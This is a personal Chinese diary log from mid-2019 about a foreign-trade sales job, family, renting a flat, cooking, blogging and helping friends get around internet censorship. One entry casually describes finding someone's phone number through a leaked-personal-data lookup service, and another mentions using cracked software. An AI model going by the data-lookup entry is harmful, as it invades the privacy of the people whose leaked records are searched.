- 缺点：无法记忆上一次刷牙的模式
- 病因：自启动，把自己震坏了
2019-05-21
昨晚查了不少关于肺结节的资料，不管是统计概率还是 CT 平扫结果，恶性结节的可能性较低。于是上班路上打电话给父亲解释了一番，父亲坦然自若：我昨天也去县里复查了，与我十年前的检查结果相比，医生说没有恶化的倾向。我笑道：不管如何，还是要少抽点烟。
07:51新的一周，丢失一位女同事（自行辞职），我又成了唯一的员工。
07:53一上午都在划水：研究科学上网。
12:152019-05-22
偶尔来一局《王国保卫战：前线》，快哉乐哉。
21:272019-05-23
父亲又忘记如何从微信提现到银行卡。
22:432019-05-24
卖保险厉害的人，特别圆滑，心里总有一套算计，纵使对家人。不过终于可以名正言顺地搬出去自己一个人住了。
00:50我的大姐是业绩非常优秀的保险代理人（太平人寿）。今天她问我谈女朋友了吗？我说没有。那和前任还有联系吗？没有（不敢）。我的意思是问她买保险了吗？顿时我愣住了。
我很感谢我的大姐给我普及基本的保险知识，但是当我深入研究之后，才知道大部分保险代理人的专业知识远远不达标。Ta 们并不会去细看枯燥而繁杂的保险条款，一门心思全在营销上。
保险是必要的，应该根据客户的情况和经济能力去配置产品，而不是成为一个家庭的重大负担。
前几天，老板娘又把我训了一顿，因为经常站在客户的角度思考问题，忘了自己是一个销售人员。
我的大姐跟我说，做人不要太较真，这就是你白发苍苍的原因，你得适应这个社会的利益规则。
听罢一席话，想起来了我的微信个性签名：Keep it real. 想改，又止住了。
01:412019-05-25
单方面被脱单：
今天确定一下房子可以的话定下来，姐帮你庆祝终于可以自由了。我们家钻石单身小王子要准备脱单了。by ZYX
08:17当保险代理人业绩不够，就会自己买几分保险凑单。
房子已定，距离工作地点 50 米。拎包入住，￥850（三个月押一付一）：空调、床垫（有长头发）、热水器、冰箱、洗衣机、抽油烟机（安装位置太低，与额头齐平，容易磕到头）、衣柜、小书桌、椅子。水费固定 ￥24，电费 ￥1.6/度，网费电信￥80/月（20 Mb，最不满地方）。还有，晒衣服不方便。
20:002019-05-26
过完年后，85 高龄的外婆开始大小便失禁，神智也渐渐失常，总以为有人咒她死，例如看到墙上的钉子，认为这是某某给她下的蛊。耳朵也灵了，经常听不到电话响。这周日终于拨通的外婆的电话，她洪亮地说：「我老糊涂了，请让你的爸妈原谅我。」垂暮之年，未能安享，愧疚。
自己租房子住的第一晚，Good night。
23:292019-05-27
花了 ￥199 加入了 James 的组织：
请认真阅读
由于大群人数众多，并且没有门槛，出现了很多捣乱的群友
迫不得已我们新群开始设置一定的门槛，请各位珍惜自己的ID
新群分为3个群，每个分群都有QQ群+微信群2种，并且每个群限制500人
跨境电商群：入门跨境电商，讲简单选品，从不会到入门
跨境电商高级群：深入跨境电商，讲部分选品，从入门到深入
国内项目群：淘客、1比1、超市等国内更多项目复盘
门槛限制：
跨境电商群：49RMB入群
国内项目群：49RMB入群
跨境电商高级群：199RMB入群（可同时免费入跨境初级和国内）
James还是本着免费的原则分享，所以会在跨境电商群和国内项目群里放出一些小工具来抵销入群门槛
跨境电商高级群将给每个入群会员10单海外仓的订单额度(价值200RMB)
后期咱们会有自己的一键选品，一条龙服务系统上线，提供给各位群友使用注意：如果你是来捣乱的请不要进群了，发现1次会请出群，入群门槛费不退，不要在群内做广告，发现也请出群，不要传播群内视频和思路，发现也会请出群。
附带红包直接告诉我要入哪个群，我会给出你入群后的编号，请自行修改编号，我们以后用编号称呼
每周直播2-3次，每个群，希望各位入群后能够及时参与直播，每次直播都会有一定的干货输出！我的 QQ 是在 2007 年 7 月 20 日注册的。
大姐杜撰说我找到女朋友了，所以搬出来自己住。老妈听到后，满脸愉快，不忍心诉之实情。
22:33对家人缄默不语，对网友（例如今晚的岑姐）相谈甚欢。
01:022019-05-28
房东很傲娇，我还如何反击呢？
2019-05-29
James 到底是割韭菜的大骗子还是为了满足表达欲的分享者，众说纷纭。不管如何，那些一起开车的日子是阳光灿烂的。
2019-05-30
为什么要给小孩买寿险，那些保险代理人的脑子里全部都是狗屎。
00:432019-05-31
到下午就下雨，这个鬼天气还让不让人打球了？
18:092019-06
2019-06-01
科学上网服务被 GFW 关照，这次来的有点猛。
晚上去哥哥家做客，这次的小龙虾肉质饱满（￥18/斤），不过已经没有今年第一次吃时的兴奋感了。
回家的路上，顺便去理了个头发（￥30）。白头发没有减少，约占黑头发的三分之一，不免伤感。
22:182019-06-02
睡到自然醒，心情真美。
08:38GCP 的 IP 又被封了，狗日的 GFW。
18:29优化博客。
02:322019-06-03
不太会拒绝别人，演得好累。
20:18选品没上，又去整博客了。
00:452019-06-04
在今天这个特殊的日子，我的博客得到了谷歌搜索引擎的肯定：Google Sitelinks（全站链接）。
不得不说，Google 搜索引擎真的很强大：自动把博客 Slogan 链接到 About（关于）页。
2019-06-05
父亲种的茶树开始结果了。
12:392019-06-06
老板娘发了一个端午红包：￥100。
23:412019-06-07
端午回老家，出发。
05:50平安到家。
10:00那一年高考，没有拼尽全力。老毛病，现在工作也没有很上进。东拉西扯，什么都想学。
00:382019-06-08
外婆一下子老了很多，健忘没有改善。
11:51CXY 向我借钱买婚房（中山小二手），爱莫能助。
13:41人生第一次参与杀猪：有诀窍，才能压制得了挣扎的猪。
15:06下雨天，现彩虹。
17:302019-06-09
真调皮，左边的鼻孔长了一根超长的鼻毛。
09:35返深。
10:10到达深圳。
15:50买了将近一千块的日用品和厨具：
厨房相关- 食用调和油
- 米家电磁炉
- 邓家刀锻打 9 铬夹层菜刀（JCD-921A）
- 炊大皇整竹菜板（CB38B）
- 不粘锅木铲
- 东北大米
- 玉米淀粉
- 无碘盐
- 生抽酱油
- 白醋
- 沥水篮
- 蒸架
- 玻璃调味瓶
- 玻璃油壶
- 陶瓷盘子
- 洗碗海绵
- 保鲜袋
- 保鲜膜
- 洗洁精
卫生相关
- 洗衣液
- 衣物除菌液
- 洁厕精
- 马桶刷
- 垃圾袋
日用品
- 水桶
- 竹席
- 撑衣杆
必需品
- 纯牛奶
2019-06-10
自己手洗（脚踩）了 15 年衣服，现在有洗衣机，真爽。
22:57买了 ￥250 的厨具，自己出来过日子，开销真的大。
01:092019-06-11
今天帮了两个人： LJ 老师的证件照和网友 ZYB 的科学上网。挺开心的。
01:072019-06-12
- 「老板，这把伞多少钱？」
- 「55 块。」
- 「付款二维码在哪？」
- 「左边墙上。」
线上购物会去找优惠券，线下买东西却不会砍价，我真是大猪蹄子。
2019-06-13
第一道菜：韭黄炒饭。还有很大的进步空间。
22:192019-06-14
其实大公司不要脸的程度，是无法想象的。反正还有公关买通各种媒体洗地。商业本来就是脏的，从头到脚都是。by Fenng
天天下雨，今天终于有机会打球了。命中率还不错。
19:42苦瓜丁炒蛋，蛋没放够。
2019-06-15
瞧一瞧，看一看，走过路过，千万不要错过。随身小空调，静音大风力。充电五分钟，凉快两小时。by 天桥卖风扇的 WYR
上个月的提成是 ￥265（10 PCS 以下的单不算，汇率按 6.7 算），扣除社保 ￥282.78（单位交 598.08）。嗯，还是老板算得精。
10:49有两张电影兑换票，可是影院放的都是烂片。
18:13找了两个球场，都是满场，买菜做饭去。
19:39楼下一共有两家卖菜的。我的手机是 194 g，大档口的称多了 20 g（老板默不作声），小档口的称分毫不差。做生意，讲的是诚信。所以今天去小档口买菜，恰巧无意听到卖菜阿姨说了一句客家话，口音甚是熟悉，遂鼓起勇气问她是哪里的客家人：
- 我是梅州的
- 我河源的，不过我在梅州读书
- 你在梅州哪里读书
- 梅县东山中学
- 我女儿也在东中，刚高考完。对了，你在河源哪里
- 龙川，你呢
- 五华
- 铁场
- 我是岐岭的，打靶鬼，这么近
- 那你知道葛州吗？
- 肯定知道呀，我们村有人嫁到你们葛州
- 真是相识恨晚呀
- 我女儿就要填报大学志愿了
- 放心，既是老乡，又是师妹，你乖女的事我帮定了
- 时候不早了，3 个番茄 1 颗生菜多少钱
- 五块钱给你了
通过初中校友 CXY 的朋友圈，认识了一位广州的小姐姐 QLT（老家广西南宁），希望她找到一份理想的工作。
23:342019-06-16
花了一天整理所学的那些乱七八糟的玩意。
发了 ￥500 给老爸作为父亲节的贺礼。
2019-06-17
标题党动不动就把某件产品或服务描述为「神器」，这真是让人生气。
现在的工作只是暂时谋生的手段，我还在寻找自己的热爱。
18:28今天的蒜苔肉丝，我没有请教别人，也没有看视频教程，所以失败了：肉切太厚了。
23:532019-06-18
博客被 Google 屏蔽了（原来是 robots.txt 导致的，删除就恢复了）。
08:35酣畅淋漓地打了一场球，舒坦。
19:492019-06-19
今天领导又把我批了一顿，因为产品质量出了问题（大概率），所以我不推荐客户购买这款产品。老板不听 🙉 我解释，她认为「优秀」的业务员纵使产品不行，通过销售技巧也可以说服客户。在这个商业社会，我显得格格不入。昧着良心挣钱（给父母更好物质回报），还是一贫如洗，我没有答案。
愿我出走半生，归来仍是少年。
做了一个半醒半眠的梦。
13:252019-06-20
昨晚一位网友通过博客找到我，因为他无法访问国际互联网，经过几小时地排查，终于帮他搞定了。
下午（又）被上级批评了，因为我做了非本职工作。起因是一个 21 kg 的包裹需要寄送到国外，但是收货员忘带拖车了，所以我用公司的拖车帮他运到楼下。上司说：「你对他好，他就得寸进尺……」
这个世界残酷而美好，愿你被温柔以待。
2019-06-21
上初一的大外甥成绩下滑了，过去辅导辅导。
18:452019-06-22
昨晚做了一个离奇的梦：在飞往上海的飞机上，我的手机充电器被偷了，然后我的小米 6 爆炸自燃了。
09:02下午和外甥去看电影：《玩具总动员》（Toy Story 4，2019），真的很有趣。
2019-06-23
昨晚又做了一个古怪的梦：我在海边散步，然后被鲨鱼袭击。
拿着二姐的饺子和包子，打道回府。
18:412019-06-24
和两位「裴外甥」看《千与千寻》（Spirited Away，2001），上幼儿园的外甥看不懂中文，听不懂日语，一脸无辜。希望宫崎骏老爷子挺住，出个续集。
23:462019-06-25
做保险的哥哥业绩又不达标，买了一份太平综合意外险（￥2506.3）来「卡单」。
12:40YMH 夸我「那么会说，又幽默」，不怕找不到女朋友。Ta 的择偶条件是：
- 让我有安全感，不要绿我
- 物质支持
- 不要吵架就说太过分的话
2019-06-26
这两天中午没睡着，满脑子想着写博客。
13:40今天一个小美女来公司应聘设计师，试用期工资 4 千块。没戏了，不能和她做同事了。
15:32James 终于开课。
01:122019-06-27
农历二零一九年五月廿五晚上十点半，四姐的生了一个女娃子（二胎，属猪），恭喜恭喜，女子平安。
2019-06-28
一直住集体宿舍，出来一个人租房子住之后，真是自在，我可以只穿着内裤，唱歌，摇摆，还可以对着电脑和手机傻笑，不用机会任何人的眼光。
23:12什么都不想干，只想写博客。
01:562019-06-29
最近做了不少诡异的梦：
在参加一个秘密行动中，CT 自断了左手手掌 。为了不让他失血过多而死，我匆忙把他扛下来楼找医生。到了小诊所，医生问我手掌在哪，我说不知道。几个小时后，我问正在用柴火烧洗澡水的医生可以出院了吗，医生说洗完澡消完毒就可以了（当时村里正在办喜事，医生们都属于后厨团队）。突然，闹钟醒了，原来这是一场梦。
又是一个炎热的傍晚，回到寝室，一开门却凉意来袭。
抬头一看，没关空调，西晒的窗户也没关。一块六一度电，四个半钟吹下来，心，拔凉拔凉的。
但我不会失去对生活的热爱：今晚开始喝粥，滚烫滚烫的粥。
18:34今天帮三姐注册了公众号并推送了一篇精美的文章，挣到了 ￥68.88，应该可以抵消下午损失的电费。
00:41写博客到这个点，我一定是疯了。
02:432019-06-30
终于把博客推送出去了。
12:002019-07
2019-07-01
妈蛋，老板娘把年轻的美女设计师炒了，还不支付试用期 3 天的工资，气死我了，明天不想上班了。
21:232019-07-02
从一开始就知道自己感兴趣的是什么，并能为之持续付出努力，其实是一件相当幸运的事。
2019-07-03
拥有大量的知识，并不意味着这个人就非常了不起。这与全身穿着名牌的人觉得自优雅高贵是同样的道理。醉心于收集知识的人，往往会误以为自己非常优秀。
2019-07-04
一个腰包原价 20 块，我卖客户 17 块，我可能不适合做业务员。
10:00懒惰，颓废，从来不想长大成熟，不想为了庸庸碌碌的机械劳动而浪费韶华，我觉得从事一份能给世界带来美好的工作对我来说很重要。。
00:042019-07-05
我的工资提成是利润的 8%，老板娘说：「我可是把产品底价告诉你，你要好好干呀。」难道她之前一直都是谎报底价吗？ 怪不得没人想跟她干，干！
19:15一位读者通过少数派看到我的博客，并看完了全部博文。写博客，就是寻找志同道合的过程，我非常享受。近期不能懒，把所思所学都输出，然后专注于如何「挣良心钱」。
23:452019-07-06
我要不断提高自己，才能配得上未来遇到的你。所以年轻人时刻都想着提高自己，变得无法坦然享受无所事事的快乐。
上午陪大外甥 CFD 去医院看龋齿（D1），现场不支持挂号，网上的号要提前预约， 所以灰溜溜地回来了。下午和他一起去看《蜘蛛侠：英雄远征》（Spider-Man: Far From Home，2019），很不错的电影，给了我很多欢乐。但有个疑问，为什么外国人 16 岁就可以谈恋爱了？
好饿，下楼打份炒面（￥7），虽然已经刷牙了。
23:59为什么不把《惊奇队长》（Captain Marvel，2019）作为漫威电影的第一部？
2019-07-07
平常都喜欢用 Shift + Delete（永久删除，跳过回收站），没想到今晚翻车了：把 2 GB 的照片删除了。幸好在网上找到了破解版的恢复软件（Disk Drill Pro），不然今夜无眠。
2019-07-08
与我们合作的国际货运代理公司千方百计要送家里的土特产给我。
今晚是「裴跃流浪计划」第二天，目的地：小舅的蜗居。
2019-07-09
老板娘觉得空调 24℃ 太冷了，于是经常把空调关了。我建议她开 27℃，她说那还不如不开空调。无奈之下，逼我另谋出路。
11:542019-07-10
「裴跃流浪计划」第四天。
2019-07-11
外甥裴跃昨晚梦到和哥哥裴烁在外公外婆家玩耍。
有亏了一票。我可能不适合做业务，心太软，不敢报价太高。
18:04独居青年，一个月 10 斤米，算不算能吃？
18:402019-07-12
开始创作。
00:00虽然我慢慢地关门，但贪玩的 5 岁外甥 PY 还是夹到手了（也可能是他在我走后自己在玩门）。我隐约听到了他的哭声，但我没有回头，任他哭泣。当无法用言语劝导的时候，泪水就是最好的教训。
23:012019-07-13
房卡忘在房间了。
08:318 个外甥（侄女）的小名：春天到了，在东半球深黑的夜里，爆开了无数的蓓蕾。一早醒来，樱花朵朵盛开。啊，播种的季节到了。古语有云：种瓜得瓜，种豆得豆。但是万物生长靠太阳，是阳阳让秋天挂满了果实。
11:43在「优剪」剪完头发之后，我感觉我是这条街最靓的仔。
大姐 36 岁生日，订了「榴莲千层蛋糕」，美味。
20:412019-07-14
看到高中同学们名校硕士毕业、出国留学、就值心水的大公司，相比之下，咸鱼一条，几时可以翻身。
09:35右手食指被菜刀「吃」了一小块。
19:25下午帮助湖南的网友 CQ 重装 Windows 10 和翻墙，晚上帮前同事 YQ 找失联的弟弟（通过社工库：QQ 找电话号码）。于是这周的公众号推文又拖更。
03:052019-07-15
早起 20 分钟，去买了 11 块钱的前腿 猪肉。
07:522019-07-16
据「不蒜子」不完全统计，博客总访客数已破万。
08:47上个月亏了两单，没给公司创造利润，还损失了 ￥100，但是老板没有扣我的钱。提成算下来总共 ￥350，底薪 ￥4000，扣除五险一金，房租水电，月光光，不过，比起以往的任何一份工作，新工作让我更快乐。工作比较自由，下班了可以打打篮球，回到自己的蜗居，脱掉吸满汗水的球服，只穿着内裤，一边听音乐，一边煮饭。情到浓时，我就跟着节奏摇摆，在这个方寸舞台。许多年之后，我会怀念此时此刻的穷开心。万一穷一辈子呢？那不是可以开心一辈子？
11:04午休半个钟，春梦太匆匆。
13:38建了一个「Tinglish Talk」的英语学习微信群，希望可以倒逼自己多学点英语。
22:12真正的爱是跟一个关心你的人在一起，这个人可以让你表达内心的感受，在他身边你可以自由自在的谈论任何事情。by《饮食男女》
2019-07-17
午休没有睡着，满脑子想着如何「喂饱」群里的英语爱好者。
13:332017 年 12 月 22 日，我帮 ZYT 起草《离婚协议书》（第一次），那时 TA 们的女儿已 1 岁多，但此时后来不了了之。现在二胎 5 个月，准备打掉，然后离婚。结婚到底是为了什么？
01:132019-07-18
长针刺入子宫，一个小生命就此陨落。
11:30外婆分辨不出我和五姐的声音。
一开始我说我是狗仔，寒暄几句后，老五接上，解释了半天，外婆还是以为老五是狗仔。无奈之下，老五只好扮演成狗仔。
最后外婆祝老五（狗仔）早日成双对。
19:362019-07-19
人流引产成功，男婴。如果孩子的爸爸是好人，现有一女，再加一儿，多么圆满的结局。
08:40「油腻」，经常被用来形容那些不修边幅（不是必要条件），没有真正才学和能力（必要条件），但又希望表现自己混社会游刃有余（必要条件）、且乐于用暗示、欲言又止等方法传授人生阅历（必要条件）的人。人过了 25 岁，自己都会开始厌恶自己，笼罩在「被迫就任油腻中年」的阴影里，无可避免地成为被权力和资本污染的大叔。by 《好奇怪》
2019-07-20
一个叫 HLC 的初中校友花了 3 天时间把我从 2017-07-18 到现在的日志全部看完了，还说挺有趣的。为什么会有这么「无聊」的人？我那些龌龊的小秘密全部被 TA 知道了，老脸往哪搁？！
10:36老室友 DHF 又打电话给我说他想我了，而我从来不会打电话给他，对不起这份忘年交。
19:312019-07-21
出院。
10:27和大学同学玩德州扑克，输了 ￥59。
17:35纵使过了这么多年，对沙县小吃的花生酱还是爱不起来。
19:002019-07-22
在我的推荐下，五姐买了「小米 9 SE」。今晚小屁孩把屏幕左下角摔裂了（轻微），没想到无法亮屏了。其他系列的小米手机摔那么多都没事，不由地怀疑这个系列的品控。
21:59建立 庭说的 Telegram Group。
00:162019-07-23
注意力分散，我要集中精力干好几件事（最后证明只是说说而已）。
01:482019-07-24
老板娘问我为什么把样品费掐那么紧，因为 10 PCS 一下都不算业绩呀。
10:57除了阿里巴巴国际站（alibaba.com），老板娘想让我接管阿里巴巴中国站（1688.com），因为我的客户太少了，怕我因为提成太少而跑掉。最重要的她招不到人，过年又要生孩子。最近公司计划下个月搬到 4 公里外的工业区，当初就是因为离家近才选择这家公司，所以现在的处境很尴尬了。
19:06嘴馋腚遭罪，辣。
21:362019-07-25
打完球，真爽，爽到大街上会不由自主地开口唱歌：谁也擦不掉我们许下的诺言。
19:29内裤越来越紧了（长胖了）。
22:53感谢 Google 给 tingtalk.me 赏脸，荣获 4 个全站链接。下一个目标是获得 6 个全站链接（Sitelinks）。
01:142019-07-26
分享一个简单耐看的穿搭风格：白 T + 黑裤 + 白鞋。但是我不会打理白色衣服和白色鞋子（所以买了一双全黑的米家运动鞋二代），一下子被我搞得很脏。
12:052019-07-27
老板一直给我打鸡血：某某小伙月销百万，爱情事业双丰收。难道被 TA 们看出来我想辞职的念头？
18:07意外险到期了，补了一份「小米综合意外险（国泰版）」：一年￥169，意外身故伤残 50 万，意外医疗 2 万，猝死 30 万。
运动鞋、电压力锅、电磁炉、随身风扇、随身灯、小米手机、移动电源、耳机都是小米（生态链）的。I am a totally Mi boy.
22:302019-07-28
出发，坐公交车前往公司搬家地点，考察一下环境和找找房子。
13:47米家运动鞋 2 代磨脚踝！要穿高筒袜子。
16:37我又把一个周日浪费了。
CXY 想跟她男朋友分手。一直以来我都是劝分不劝合。你看我一个人过得多潇洒。
01:352019-07-29
下次处理青椒要带上手套，不然指间辣得不行。
19:41三个月后，《复仇者联盟 4：终局之战》（Avengers: Endgame，2019）终于出高清资源了，效果不错，但惊喜不多。像我这种没有女朋友，也没有钱的人，电影院是奢侈的场所的。言重了，其实是因为对大片产生审美思考了，不值得去电影院。，如果是好的太空片，半夜首映也得上。
22:59今天是值得纪念的一天。在 Google 搜索「庭说」，你可以看到 6 个全站链接。谢谢 Google 对「庭说」的肯定，我会加把劲，多写文章，回馈这个神奇的互联网。
23:442019-07-30
花了 ￥199 加入一个跨境电商群，然后被割韭菜。第一次，挺失落的，以为找到了领航者。
11:06总是忘记提前把猪肉拿出来解冻。
19:52吃饱了就不想动，只想坐在凳子上玩手机，让腰间的赘肉野蛮生长。
21:47最近长胖了，内裤勒着难受，于是新买 2 条（￥118）优衣库的短裤（内裤），心疼钱包。只要穿过优衣库家的，其他牌子再也爱不起来。
00:09向「顾小北」团队发送了求职邮件，希望得到他的赏识。
01:23James（割我韭菜的老滑头）回复我的微信。他说是因为断网才失联这么久的，这个理由有点牵强。 Anyway，希望他是个好人。
01:592019-07-31
昨晚看了大量「蛋炒饭」的视频教程，今早做出来却很油腻，一点都不好吃，亏我还加了「昂贵的」腊肠。
08:32意料之中，顾小北团队没有给我面试的机会。
11:15已通过的深圳市公共租赁住房轮候申请，目前排名第 213299 名。
如何用十年左右的时间实现财务自由，提早退休（FIRE：Financial Independence and Early Retirement）？不追求大富大贵，但求能够不再担心生计问题，更有底气把时间「浪费」在美好的事物上，放心做那些自己喜欢，却不一定能够养活自己的事情。但我好像他们对调了：不想着财务自由，只想如何让现在的自己快活。
23:522019-08
2019-08-01
是不是很多人跟我一样「干一行，恨一行」？
16:48有多少人在 18 岁的时候认识清楚了自己呢？多少人也许到了人生暮年还不知道自自己真正想要什么。多少人在 18 岁的时候还分辨不清楚什么是一时的热情，什么是持久的热望；分辨不清楚什么是易变的欲望，什么是持久的理想。「我想要」是个最大的理由，但也是个最大的陷阱。因为人人都喜欢说这三个字，却少有人愿意诚实地回答这句话后面的那个问题：为此，我愿意支付......在参加高考前，你是一个孩子；参加完高考之后，你是一个社会人。作为一个孩子的时候，所有人都护着你、让着你、忍着你、拦着你，不希望你看到世界的全貌，只希望你把目光停留在书本上。你没有多少做选择的机会，在那些极少数自己做主的时候，后果也是可以修正的，可以弥补的，可以挽回的。那后果也不会全然落在你身上，有人为你挡着、扛着、分担着。by 和菜头
2019-08-02
老板招了一个 1688 的业务员，上了一天班，又走了。
2019-08-03
帮一位读者重装系统、FQ、注册美区 Apple ID……，发了 2 次红包以示感谢，但是我都没有收。无偿助人是我的初心，所以拉不下脸皮。不过赞赏我写的文章，一切就顺理成章了，直接收钱总就怪怪的。
10:10做了不少恶梦，不睡了。
14:06从窗外看没有下雨，穿好球鞋和球服来到球场一看，湿漉漉的地板，这该死的毛毛雨。
16:252019-08-04
之前公司距离住处只有 50 米（钱少事多离家近），今天公司搬到 5 公里之外（7 个公交站），所以明天开始要 7 点钟起床了，刚好我可以在坐车的时候听一下英语播客。
今天我把所有设备（手机和电脑）的系统语言都换成 English。对自己狠一点。后期尝试用中英文写日记。加油，老男孩。
22:132019-08-05
老板娘把女设计师炒了（技术还需修炼），新来一位男设计师（我可以坐他的摩托车一起回家）。
2019-08-06
我要逼自己每周发一篇公众号推文，不然吃饱了就知道玩手机（结果还是如何，本性难移）。
2019-08-07
第二家国际物流公司向我行贿（微信红包返点），但我不能收，因为做生意靠的是诚信、服务和品质。
17:072019-08-08
猪肉的价格在中午收档的时候会比较实惠，但是我那时在上班，于是我拜托隔壁的卖菜阿姨在打烊时帮我买猪肉（她也要买猪肉）。作为一个师奶杀手，现在才想到这个方法，笨。
19:47半夜，一位女网友向我请教科学上网。虽然怕博客被 Qiang，但一想到能帮到人，我就很开心。这种被需要的感觉，会使我觉得人生有价值。
00:472019-08-09
前往河源老家。
09:40被两个异性网友称呼为「宝藏男孩」，有点开心。
22:062019-08-10
应读者要求，开一个「庭说」读者微信群。
00:03我本是男儿郎，又不是女娇娥，但大学同学却都叫我「庭姐」。今日有一位读者叫我「庭君」，甚欢。庭（听）君一席话，省我十本书（不应该是自挂东南枝）。我的笔名「庭勃士」要换为「庭君」吗？但是「君」字辈好像被用烂了。
08:24农历七月半，和母亲一起裹粽子：「你也不年轻，该张罗老婆的事了。记住，姑娘一定要善良……」。
09:30头上有月光，眼前有电影。虽然乡村的蚊子很多，但是没有打扰到我观赏《寄生虫》（Parasite，2019）：这部电影启发了我对人性更多的思考。
23:442019-08-11
返深。
10:30人生有无数可能：去写作、去旅行、去拍照……所以不要浪费时间在犹豫上。
13:232019-08-12
浑浑噩噩又一天，这该死的人生，可以不奋斗吗？以前不用天天想着挣钱？现在不想都不行，人生的进程会推着你走。
2019-08-13
工作忙了一天，没有推进任何计划。我只是泯然众人中的一员？
23:492019-08-14
今天忘记写日志了。
2019-08-15
《疾速备战》（John Wick: Chapter 3 - Parabellum，2019）是一部纯正的动作片，可能会让文艺青年失望。
22:002019-08-16
我有一位网友（ZT，朋友的朋友），从初中到现在，从没见过面，但每年都记得彼此的生日。
09:122019-08-17
老板娘在业绩提成上添油加醋，明知故犯。这样的老板，怎么为她「卖命」？！
外甥（CFD）不满 18 岁，不能开公众号，于是用了我的。但发现一个身份证只能注册一个。只好帮外甥搭建了一个和我一样 Hexo 静态博客。在我的影响下，一些朋友开了公众号，但极少把写作坚持了下来。
周五晚上，连看电影，《疾速追杀》（John Wick，2014）和《疾速特攻》（John Wick: Chapter 2，2017）。真是爽歪歪，心满意足地洗碗洗澡去了。
01:26一天过去了，我还没整出一篇文章。
2019-08-18
出发，去见高中的老同学们（ZZL、ZYH、YL）。
09:30聚会结束，我们聊了很多：
- ZZL 跟半年前一样沉稳，眼里缺少对生活的盼头。
- ZYH 非常健谈，说了很多他的职场经历，但多说一些高中往事（共同回忆）会更好，提高话题的参与度和代入感，让旁人有话可说。自顾自地滔滔不绝，不好。
- YL 正在实习，希望 TA 可以拿到喜欢的 Offer。
17:47
One Piece is the best anime that I've ever seen. Not only is it funny, but it is a manga that inspire people to achieve their dreams.
00:37翻遍了整个互联网，《海贼王》的英文配音版都是没有英文字幕，只好放弃这个英文学习素材了。
01:382019-08-19
沉迷于 Reddit 的 海贼王 社群不能自拔。
23:172019-08-20
《爱宠大机密 2》（The Secret Life of Pets 2，2019）笑点很密集，剧情太着急。
23:322019-08-21
一位读者跟我说：tingtalk.me 超棒！正因为这些读者的支持，让我辍笔不更。
16:292019-08-22
假如我是一个孤儿，我就可以放下父母对我的期待：允许自己没出息、不结婚、想做什么就去做什么。
从年初烦到现在的一个问题：被姐哥忽悠买了一份年交 2 万多的理财险，为了攒足这些保费，已经大半年没有给父亲打钱了（父亲当时还嫌我买得少）。年底不续保，不仅损失一万多，还要遭受家人们都反对。而且因为这笔强制储蓄，更换笔记本电脑的计划又推迟了。有时候，家人的意见也并不可信，TA 们也可能包含巨大的商业利益。我这个不会反抗父母的乖孩子，经过此次风波，得学会辩证看待家人们的观点。
在挣钱这方面，我表现得很克制，我不会去想怎么忽悠客户下更多的订单，我只想帮 Ta 们买到喜欢的产品，就像我帮那些不认识的网友一样，里面不包含很大的利益目的。纯粹地乐于助人，这样使我很快乐。但挣不到钱，也使我很苦恼。不过我相信，时间和沉淀的价值。
21:03莫叹红尘多势利，如果每人都能多想想奉献，少一点巴望着占人便宜的那股劲儿，世界将变成美好的人间。by 邱岳
2019-08-23
最近情愫初重开，生物的交配本能驱使我向异性交换染色体，优化人类的基因库。从某个层面看，我们都是基因的奴隶。
09:502019-08-24
每周一篇公众号推文，加油。
02:132019-08-25
我去 4 岁的外甥家（PY）做客，看到他乱扔袜子，于是让他放好，没想到他蹦出这句话：「这不是你的家，不用你管！」小孩可爱的时光，总是这么短暂。
13:02租的房子住得挺舒适，今晚续签 3 个月，虽然离公司有点距离（ 5 km）。
22:0312 点之前的睡觉，臣办不到呀。好奇老男孩什么都想研究，他拥有数不完的兴趣。
01:162019-08-26
LYJ 是一位很漂亮的小姑娘，生于 1999 年，开朗上进。我已经很久没看到如此「努力生活」的少女了。为了进修设计，她白天上班，晚上还要去培训班（自费）提高自己。天有不测风云，她的妹妹右肾长瘤子了，家里没钱医治。看到父母无助的样子，她非常自责。所以她让我介绍一份可以「网上兼职」的工作，为妹妹筹集手术费和治疗费。我帮助很多很多的朋友，有认识的，有不认识的，这一次也是我最无助的时候。
23:482019-08-27
客户（Ted）问我样品「打」好了吗？我说没有，然后他气疯了。因为他以为付了打样费，其实没有。他质问我当时为什么不发付款链接给他？我觉得客户给我下单是自然而然的事情，虽然应用营销手段可以「忽悠」客户早点下单，但是细水长流才是我的 Style。
12:36这两天客户扎堆下单，忙死了。
23:112019-08-28
忙了一天，来球场逛逛。
18:50摇了半年深圳小汽车的号，未获得指标。要是摇到了，也没钱买呀。
23:132019-08-29
客户太多，根本服务不过来。
23:472019-08-30
终于忙完这周了。
2019-08-31
连看《爱，死亡和机器人第一季》（Love, Death & Robots Season 1，2019）18 集，痛快舒畅。
02:52外甥（PS）九岁生日，突然想起了我的高一生日，那时穿得比较朴素，半个班众筹买了一件安踏外套给我（两三百人名币）做生日礼物。
09:13纸币用完了，去 ATM 取 ￥200 防防身。出门在外，防止手机「抛锚」而寸步难行。
12:07母亲牙疼，因为蛀牙了（晚上不刷牙）。嘱咐母亲晚刷牙，不知道她能坚持多久。很大一部分中国人并不关注口腔健康，不当一回事。
12:1485 岁的外婆，今年开始尿频，目前还没有康复。一个人在半山腰住，没有电视打发时光。久而久之，开始出现被害妄想症。每周都会打电话给外婆，外婆每次都会嘱咐我赶紧找女友。
正在谈一个大单子，没想到工厂拖了 5 天（Deadline 是 8 月 25 日）还没有把样品「打」出来。如果明天再不出货，客户（Fernando）就会白跑 1000 km。我隐约感觉到客户已经派刺客在追杀我了。
22:172019-09
2019-09-01
微信可以直接打开 tingtalk.me，希望不是暂时的。事后证明系统抖动所致。
19:40姐姐（ZYX）的因为婆媳关系，准备离婚。另一位姐姐（ZYT）已确定离婚。悲剧和喜剧，每时每刻都在上演。
21:56终于把每周一篇的公众号文章推送出去了。
23:30工厂再次食言了，不回微信，不接电话。商业诚信，化为乌有。
00:282019-09-02
生和育，都不容易。老板娘流产了；幼儿园一个学期要 ￥7400 的学费，还要靠关系才能获得学位。
12:22老板娘又把设计师（WSH）炒了，我的顺路坐骑没了，下班不得不坐公交车回去。为感谢他的小毛驴载了我一个月，请 WSH 吃了一顿小龙虾。愿他早日成为一个出色的设计师。
20:06对设计师的期待：你应该热爱艺术，热爱设计的力量；你厌烦平庸、喧嚣的设计；你保留乍见之欢的欣喜，更向往久处不厌的宁静。你有能力通过设计的方式表达细微而长远的感受。by 陈金洲
2019-09-03
为了不给客户造成困扰，我不得不把英文名 Jadon 改回 Tim，刚好也和 TT 头像对应。
2019-09-04
